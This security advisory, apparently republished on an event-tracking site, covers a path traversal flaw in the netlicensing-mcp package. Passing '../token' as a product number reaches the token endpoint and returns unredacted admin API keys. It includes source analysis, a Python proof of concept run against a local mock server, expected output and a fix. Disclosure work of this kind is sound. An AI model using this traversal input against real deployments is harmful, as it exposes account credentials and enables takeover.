Technologyglobalverified · 90%

netlicensing-mcp: REST Path Traversal Bypasses Token Redaction

When
Where
Global (internet)
Category
cyber_advisory · pip

## REST Path Traversal Bypasses Token Redaction in netlicensing-mcp ### Summary The `netlicensing_get_product` MCP tool in `netlicensing-mcp` interpolates a caller-controlled `product_number` argument directly into a REST URL path without any validation. Passing `../token` as the product number causes `httpx` to normalize `/product/../token` into `/token`, silently redirecting the request to the NetLicensing token endpoint instead of the intended product endpoint. The response is then serialized through the generic `_wrap_json` wrapper rather than the token-specific `_wrap_json_token_read` wrapper, bypassing all APIKEY `number` and SHOP `shopURL` redaction. An authenticated MCP client can recover plaintext API key values that the token read tools intentionally mask, including admin-level APIKEY credentials. ### Details The vulnerability is a path traversal (CWE-22) that exploits the interaction between unsanitized string interpolation and `httpx`'s WHATWG URL normalization. **Source — `src/netlicensing_mcp/tools/products.py:22`** ```python async def get_product(product_number: str) -> dict: """Get a single product by its number.""" return strip_output_fields(await nl_get(f"/product/{product_number}")) ``` `product_number` is inserted directly into the REST path with no validation. A value of `../token` produces the path `/product/../token`. **Sink — `src/netlicensing_mcp/client.py:143`** ```python async def nl_get(path: str, params: dict[str, str] | None = None) -> dict[str, Any]: client = _get_client() url = f"{BASE_URL}{path}" ... r = await client.get(url, headers=_headers(), params=params or {}) ``` `httpx` constructs the full URL as `{BASE_URL}/product/../token` and, per WHATWG URL normalization rules applied to absolute URLs, resolves it to `{BASE_URL}/token`. The HTTP request is therefore sent to the NetLicensing `/core/v2/rest/token` endpoint. **Redaction bypass — `src/netlicensing_mcp/server.py:336` and `src/netlicensing_mcp/redaction.py:180-239`** The tool handler wraps the response via `_wrap_json(entity, "Product")`, which calls only the generic `_json()` redaction. The token-specific path `_wrap_json_token_read()` → `redact_token_read()` is never invoked. The function `redact_token_read()` at `redaction.py:180-239` is the only code that masks APIKEY `number` and SHOP `shopURL` fields; because it is not on this code path, the raw API key value is returned verbatim in the MCP tool output. **Complete data flow:** 1. `server.py:312-321` — MCP dispatcher receives attacker-controlled `product_number` and calls `products.get_product(product_number)`. 2. `tools/products.py:22` — value interpolated into `f"/product/{product_number}"` without validation. 3. `client.py:143` — `url = f"{BASE_URL}{path}"`; `httpx` normalizes `../` and sends request to `/token` endpoint. 4. `server.py:336` — response wrapped as `"Product"` via `_wrap_json`, not `_wrap_json_token_read`. 5. `server.py:160-165` — generic `_json()` redaction applies only default-field masking. 6. `redaction.py:180-239` — `redact_token_read()` with APIKEY/SHOP-specific masking is never reached. ### PoC **Prerequisites** - Python 3.10+ - `netlicensing-mcp` 0.1.5 (or local commit `c8a3fec`) installed or available via `PYTHONPATH` - `httpx`, `python-dotenv`, `mcp[cli]` installed **Option A — Docker (recommended, reproduces Phase 2 result)** ```bash # Build from the repository root (requires repo/ and vuln-001/ directories) docker build -t netlicensing-vuln-001 \ -f vuln-001/Dockerfile \ reports/pypiAi_1561_Labs64__NetLicensing-MCP/ # Run — exit code 0 confirms the vulnerability docker run --rm netlicensing-vuln-001 ``` **Option B — Direct Python** ```bash cd /path/to/Labs64__NetLicensing-MCP PYTHONPATH=src python3 - <<'PY' import asyncio, json, threading from http.server import BaseHTTPRequestHandler, HTTPServer seen = [] secret = "actual-api-key-value-5678" class Handler(BaseHTTPRequestHandler): def do_GET(self): seen.append(self.path) if self.path.endswith("/token"): body = {"items":{"item":[{"type":"Token","property":[ {"name":"number","value":secret}, {"name":"tokenType","value":"APIKEY"}, {"name":"role","value":"ROLE_APIKEY_ADMIN"}, {"name":"active","value":"true"} ]}]}} data = json.dumps(body).encode() self.send_response(200) self.send_header("Content-Type","application/json") self.send_header("Content-Length",str(len(data))) self.end_headers() self.wfile.write(data) else: self.send_response(404); self.end_headers() def log_message(self, *args): pass srv = HTTPServer(("127.0.0.1", 0), Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() async def main(): import netlicensing_mcp.client as c c.BASE_URL = f"http://127.0.0.1:{srv.server_port}/core/v2/rest" tok = c.api_key_ctx.set("dummy") try: from netlicensing_mcp.server import netlicensing_get_product out = await netlicensing_get_product("../token") print("UPSTREAM_PATH=" + seen[0]) print("SECRET_LEAKED=" + str(secret in out)) print(out) finally: c.api_key_ctx.reset(tok) await c.close_client() srv.shutdown() asyncio.run(main()) PY ``` **Expected output** ```text UPSTREAM_PATH=/core/v2/rest/token PATH_TRAVERSAL_OK=True SECRET_LEAKED=True === MCP tool output (netlicensing_get_product('../token')) === { "number": "actual-api-key-value-5678", "tokenType": "APIKEY", "role": "ROLE_APIKEY_ADMIN", "active": true, "type": "Token", "console_url": "https://ui.netlicensing.io/#/tokens/actual-api-key-value-5678", "warnings": [], "suggested_actions": [] } [PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint and plaintext secret 'actual-api-key-value-5678' is present in MCP output ``` The `number` field contains the raw API key value and `console_url` embeds it in plaintext — both fields that `redact_token_read()` would otherwise mask. **Remediation** Add a centralized path-segment validator in `client.py` and call it from all HTTP helper functions (`nl_get`, `nl_post`, `nl_put`, `nl_delete`): ```diff +from urllib.parse import unquote + +def _validated_path(path: str) -> str: + if not path.startswith("/"): + raise NetLicensingError(400, "Internal error: upstream path must start with '/'") + for segment in path.split("/"): + decoded = unquote(segment) + if decoded in {".", ".."} or "/" in decoded or "\\" in decoded: + raise NetLicensingError(400, "Invalid identifier: path separators are not allowed") + if any(ord(ch) < 32 for ch in decoded): + raise NetLicensingError(400, "Invalid identifier: control characters are not allowed") + return path + async def nl_get(path: str, ...) -> dict[str, Any]: - url = f"{BASE_URL}{path}" + url = f"{BASE_URL}{_validated_path(path)}" ``` Apply the same change to `nl_post`, `nl_put`, and `nl_delete`. Add regression tests for inputs `../token`, `%2e%2e`, `%2f`, and `x/y`. ### Impact An authenticated MCP client (one that already holds a NetLicensing API key sufficient to call any MCP tool) can call `netlicensing_get_product("../token")` to retrieve plaintext APIKEY `number` values and SHOP `shopURL` values that the dedicated token read tools (`netlicensing_get_token`, `netlicensing_list_tokens`) intentionally redact. If the retrieved token carries `ROLE_APIKEY_ADMIN` privileges, the attacker gains full read/write/delete access over all resources in the target NetLicensing account, escalating from a scoped MCP client to account owner. This vulnerability is exploitable in any deployment mode — stdio (single-user) and HTTP/shared — because no non-default configuration is required. The attack requires only a valid API key to authenticate the MCP session; no admin pr

Sources

Defaxon links out to the original reporting and never republishes article text.

Correlated events

Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.

No correlated events found in the current window. As more events arrive, connections form automatically.

← Back to the live map